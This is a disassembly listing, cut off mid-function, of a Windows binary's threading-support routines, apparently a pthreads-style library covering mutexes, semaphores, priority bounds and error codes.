XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B76 mov edi, [esp+14h] test edi, edi jz short loc_433B76 mov esi, [edi] push eax call sub_401555 add esp, 4 cmp esi, eax jl short loc_433B76 push 0 call sub_401442 add esp, 4 cmp esi, eax jg short loc_433B76 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_433B76: ; CODE XREF: ___:00433B42j ; ___:00433B4Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BA0: ; CODE XREF: ___:00401EFBj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433BC5 mov eax, [esp+0Ch] test eax, eax jz short loc_433BC5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433BC5: ; CODE XREF: ___:00433BB0j ; ___:00433BB8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BE0: ; CODE XREF: ___:004015BEj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_433BF9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433BF9: ; CODE XREF: ___:00433BF0j mov eax, [esp+0Ch] test eax, eax jz short loc_433C0D cmp eax, 1 jz short loc_433C0D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433C0D: ; CODE XREF: ___:00433BFFj ; ___:00433C04j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433C30: ; CODE XREF: ___:004019E7j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433C55 mov eax, [esp+0Ch] test eax, eax jz short loc_433C55 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433C55: ; CODE XREF: ___:00433C40j ; ___:00433C48j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433C70 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433CB5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_433CB0 cmp eax, 2 jg short loc_433CB0 test eax, eax jz short loc_433C9C mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_433C9C: ; CODE XREF: sub_433C70+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020D1 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_433CB0: ; CODE XREF: sub_433C70+1Aj ; sub_433C70+1Fj mov eax, 16h loc_433CB5: ; CODE XREF: sub_433C70+12j pop esi retn sub_433C70 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433CE0 proc near ; CODE XREF: sub_4020D1j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_401555 add esp, 4 cmp esi, eax jl loc_433D85 push edi call sub_401442 add esp, 4 cmp esi, eax jg short loc_433D85 cmp esi, 0FFFFFFF1h jle short loc_433D20 cmp esi, 0FFFFFFFEh jge short loc_433D20 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_433D32 ; --------------------------------------------------------------------------- loc_433D20: ; CODE XREF: sub_433CE0+2Fj ; sub_433CE0+34j cmp esi, 0Fh jge short loc_433D32 cmp esi, 2 jle short loc_433D32 mov [esp+8+arg_8], 2 loc_433D32: ; CODE XREF: sub_433CE0+3Ej ; sub_433CE0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_433D7E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx nop call near ptr 27508ECh test eax, eax jnz short loc_433D72 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D72: ; CODE XREF: sub_433CE0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_433D7E: ; CODE XREF: sub_433CE0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D85: ; CODE XREF: sub_433CE0+19j ; sub_433CE0+2Aj pop edi mov eax, 16h pop esi retn sub_433CE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433DC0 proc near ; CODE XREF: sub_4021B2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433DF9 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_433DF4 mov eax, [esp+4+arg_8] test eax, eax jz short loc_433DF4 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433DF4: ; CODE XREF: sub_433DC0+1Bj ; sub_433DC0+23j mov eax, 16h loc_433DF9: ; CODE XREF: sub_433DC0+12j pop esi retn sub_433DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E10 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E23 cmp eax, 2 jg short loc_433E23 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_433E23: ; CODE XREF: sub_433E10+6j ; sub_433E10+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E50 proc near ; CODE XREF: sub_401555j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E63 cmp eax, 2 jg short loc_433E63 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_433E63: ; CODE XREF: sub_433E50+6j ; sub_433E50+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433E90: ; CODE XREF: ___:00401ADCj push esi mov esi, [esp+8] test esi, esi jz short loc_433ED5 nop call near ptr 2750878h cmp esi, eax jz short loc_433ED5 push esi push 0 push 200h nop call near ptr 2710000h test eax, eax jnz short loc_433ED5 nop call near ptr 27D089Eh mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433ED5: ; CODE XREF: ___:00433E97j ; ___:00433EA1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_433EEE nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433EEE: ; CODE XREF: ___:00433EDBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F20: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] test esi, esi jz short loc_433F65 nop call near ptr 2750878h cmp esi, eax jz short loc_433F65 push esi push 0 push 400h call near ptr 2710000h nop test eax, eax jnz short loc_433F65 nop call near ptr 27D089Eh mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433F65: ; CODE XREF: ___:00433F27j ; ___:00433F31j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F90: ; CODE XREF: ___:00401B5Ej push 0 nop call near ptr 2850000h xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433FB0 proc near ; CODE XREF: sub_401C8Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_433FCF mov edi, 1 call near ptr 77C1F2BCh nop mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433FCF: ; CODE XREF: sub_433FB0+Aj push 4 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433FE7 mov edi, 0Ch loc_433FE7: ; CODE XREF: sub_433FB0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 call near ptr 2750274h nop test eax, eax mov [esi], eax jnz short loc_434014 mov edi, 1Ch nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434014: ; CODE XREF: sub_433FB0+4Fj test edi, edi jz short loc_434026 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434026: ; CODE XREF: sub_433FB0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_433FB0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434070 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_434095 mov esi, [edi] test esi, esi jz short loc_434095 mov dword ptr [edi], 0 mov eax, [esi] push eax call near ptr 28507E8h nop test eax, eax jnz short loc_4340A7 mov [edi], esi loc_434095: ; CODE XREF: sub_434070+8j ; sub_434070+Ej nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4340A7: ; CODE XREF: sub_434070+21j push esi call near ptr 77C2C21Bh nop add esp, 4 xor eax, eax pop edi pop esi retn sub_434070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4340E0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_434113 mov eax, [eax] test eax, eax jz short loc_434113 mov eax, [eax] push 0 push eax call near ptr 278084Ch nop cmp eax, 102h jnz short loc_434125 mov esi, 0Bh nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434113: ; CODE XREF: sub_4340E0+7j ; sub_4340E0+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434125: ; CODE XREF: sub_4340E0+1Fj xor eax, eax pop esi retn sub_4340E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434150 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_43417D mov eax, [eax] test eax, eax jz short loc_43417D mov eax, [eax] push eax call sub_40164A ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 7EB147E8h, 30899077h, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_43417D: ; CODE XREF: sub_434150+7j ; sub_434150+Dj mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_434150 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4341C0 proc near ; CODE XREF: sub_4018A7j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_4341E3 mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4341E3: ; CODE XREF: sub_4341C0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_4341F2 or ebx, 0FFFFFFFFh jmp short loc_434251 ; --------------------------------------------------------------------------- loc_4341F2: ; CODE XREF: sub_4341C0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_434251 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_434251 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_434251 dec ebx loc_434251: ; CODE XREF: sub_4341C0+30j ; sub_4341C0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D84 sub_4341C0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 0B04EE890h, 3089777Eh, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4342D0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4342EF mov eax, [eax] test eax, eax jz short loc_4342EF mov eax, [eax] push 0 push 1 push eax call near ptr 2750000h nop test eax, eax jnz short loc_4342FF loc_4342EF: ; CODE XREF: sub_4342D0+6j ; sub_4342D0+Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4342FF: ; CODE XREF: sub_4342D0+1Dj xor eax, eax retn sub_4342D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434320 proc near ; CODE XREF: sub_402068j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_434346 mov eax, [eax] test eax, eax jz short loc_434346 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_434346 mov eax, [eax] push 0 push ecx push eax nop call near ptr 2750000h test eax, eax jnz short loc_434356 loc_434346: ; CODE XREF: sub_434320+6j ; sub_434320+Cj ... call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_434356: ; CODE XREF: sub_434320+24j xor eax, eax retn sub_434320 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434370: ; CODE XREF: ___:0040143Dj mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4343BD mov esi, [eax] test esi, esi jz short loc_4343BD mov edi, [esp+10h] test edi, edi jz short loc_4343BD mov eax, [esi] push 0 push eax nop call near ptr 278084Ch cmp eax, 102h jnz short loc_4343A1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4343A1: ; CODE XREF: ___:00434398j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx nop call near ptr 2750000h mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4343BD: ; CODE XREF: ___:00434378j ; ___:0043437Ej ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4343F0: ; CODE XREF: ___:0040222Fj call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434410: ; CODE XREF: ___:00402031j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434430: ; CODE XREF: ___:00401CC6j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434450 proc near ; CODE XREF: sub_4019A1j arg_0 = dword ptr 4 push esi push offset dword_510960 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_434484 push esi push ecx call sub_402211 add esp, 8 mov esi, eax push offset dword_510960 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_434484: ; CODE XREF: sub_434450+17j test eax, eax jnz short loc_43448D mov esi, 16h loc_43448D: ; CODE XREF: sub_434450+36j push offset dword_510960 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_434450 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4344C0 proc near ; CODE XREF: sub_402211j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4344DE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4344DE: ; CODE XREF: sub_4344C0+11j lea eax, [esp+14h+var_4] push eax call sub_401C3A mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_434519 mov [esp+14h+var_4], 1 loc_4344FB: ; CODE XREF: sub_4344C0+5Ej ; sub_4344C0+63j push 8 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_434530 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434519: ; CODE XREF: sub_4344C0+31j cmp [esp+14h+var_4], 1 jle short loc_4344FB cmp ebx, 1 jnz short loc_4344FB pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434530: ; CODE XREF: sub_4344C0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43454D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43454D: ; CODE XREF: sub_4344C0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A1E mov edi, eax add esp, 4 test edi, edi jnz short loc_434583 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_434583 mov dword ptr [esi], 3 loc_434583: ; CODE XREF: sub_4344C0+9Ej ; sub_4344C0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_43459F mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43459F: ; CODE XREF: sub_4344C0+D2j push esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4344C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_434600: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4346A5 mov esi, [edi] test esi, esi jz loc_4346A5 cmp esi, 0FFFFFFFFh jz short loc_434668 cmp dword ptr [esi], 3 jnz short loc_43464D lea eax, [esi+4] push eax call sub_402252 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_43469F loc_434637: ; CODE XREF: ___:0043465Bj push esi mov dword ptr [edi], 0 call near ptr 77C2C21Bh nop add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43464D: ; CODE XREF: ___:00434623j push 1 push 0 push esi call dword_5103D8 ; InterlockedCompareExchange cmp eax, 1 jz short loc_434637 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_434668: ; CODE XREF: ___:0043461Ej push offset dword_510960 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43468F push offset dword_510960 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43468F: ; CODE XREF: ___:00434676j push offset dword_510960 mov ebx, 10h nop call near ptr 7C9010EDh loc_43469F: ; CODE XREF: ___:00434635j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4346A5: ; CODE XREF: ___:0043460Bj ; ___:00434615j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4346E0: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] test esi, esi jz short loc_434741 mov eax, [esi] test eax, eax jz short loc_434741 cmp eax, 0FFFFFFFFh jnz short loc_434701 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434746 loc_434701: ; CODE XREF: ___:004346F2j mov esi, [esi] push 1 push 2 push esi call dword_5103D8 ; InterlockedCompareExchange cmp eax, 2 jnz short loc_434723 loc_434713: ; CODE XREF: ___:00434721j push 1 push 2 push esi call dword_5103D8 ; InterlockedCompareExchange cmp eax, 2 jz short loc_434713 loc_434723: ; CODE XREF: ___:00434711j mov eax, [esi] cmp eax, 2 jnz short loc_43472E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43472E: ; CODE XREF: ___:00434728j cmp eax, 3 jnz short loc_434741 add esi, 4 push esi call sub_402248 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434741: ; CODE XREF: ___:004346E7j ; ___:004346EDj ... mov eax, 16h loc_434746: ; CODE XREF: ___:004346FFj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434770: ; CODE XREF: ___:00401AB9j mov eax, [esp+4] push esi test eax, eax jz short loc_4347B1 mov esi, [eax] test esi, esi jz short loc_4347B1 cmp esi, 0FFFFFFFFh jnz short loc_43478B loc_434784: ; CODE XREF: ___:00434797j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43478B: ; CODE XREF: ___:00434782j push 2 push 1 push esi call dword_5103D8 ; InterlockedCompareExchange dec eax jz short loc_434784 dec eax jz short loc_4347AD dec eax jnz short loc_4347B1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4347AD: ; CODE XREF: ___:0043479Aj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4347B1: ; CODE XREF: ___:00434777j ; ___:0043477Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4347E0: ; CODE XREF: ___:00401942j push esi mov esi, [esp+8] test esi, esi jz short loc_434830 mov eax, [esi] test eax, eax jz short loc_434830 cmp eax, 0FFFFFFFFh jnz short loc_434801 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434835 loc_434801: ; CODE XREF: ___:004347F2j mov esi, [esi] push 1 push 2 push esi call dword_5103D8 ; InterlockedCompareExchange dec eax jz short loc_43482C dec eax jz short loc_434825 dec eax jnz short loc_434830 add esi, 4 push esi call sub_401785 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434825: ; CODE XREF: ___:00434812j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43482C: ; CODE XREF: ___:0043480Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_434830: ; CODE XREF: ___:004347E7j ; ___:004347EDj ... mov eax, 16h loc_434835: ; CODE XREF: ___:004347FFj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434860: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43488C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_434887 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_434887: ; CODE XREF: ___:0043487Ej xor eax, eax mov [esi+20h], ecx loc_43488C: ; CODE XREF: ___:00434872j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4348A0 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43492C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4348C4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4348C4: ; CODE XREF: sub_4348A0+1Bj push edi push esi push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_4348DD mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348DD: ; CODE XREF: sub_4348A0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4348ED mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348ED: ; CODE XREF: sub_4348A0+41j mov eax, [esi+4] push eax call sub_40164A ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 0C140E890h, 0C0850230h, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43492C: ; CODE XREF: sub_4348A0+12j pop esi retn sub_4348A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434960 proc near ; CODE XREF: sub_401609j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_434985 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_434985: ; CODE XREF: sub_434960+15j call near ptr 27406F0h nop cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4349AE push esi mov edi, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349AE: ; CODE XREF: sub_434960+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4349CB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349CB: ; CODE XREF: sub_434960+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_434960 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434A00 proc near ; CODE XREF: sub_401AB4j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_434A90 cmp [ebx+0Ch], ebp jz short loc_434A6C cmp [ebx+4], ebp jz short loc_434A6C lea eax, [ebx+8] push eax call sub_402248 add esp, 4 test eax, eax jnz short loc_434A6C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_434A5F push edi loc_434A33: ; CODE XREF: sub_434A00+5Cj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_434A5A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_434A5A: ; CODE XREF: sub_434A00+3Ej cmp esi, ebp jnz short loc_434A33 pop edi loc_434A5F: 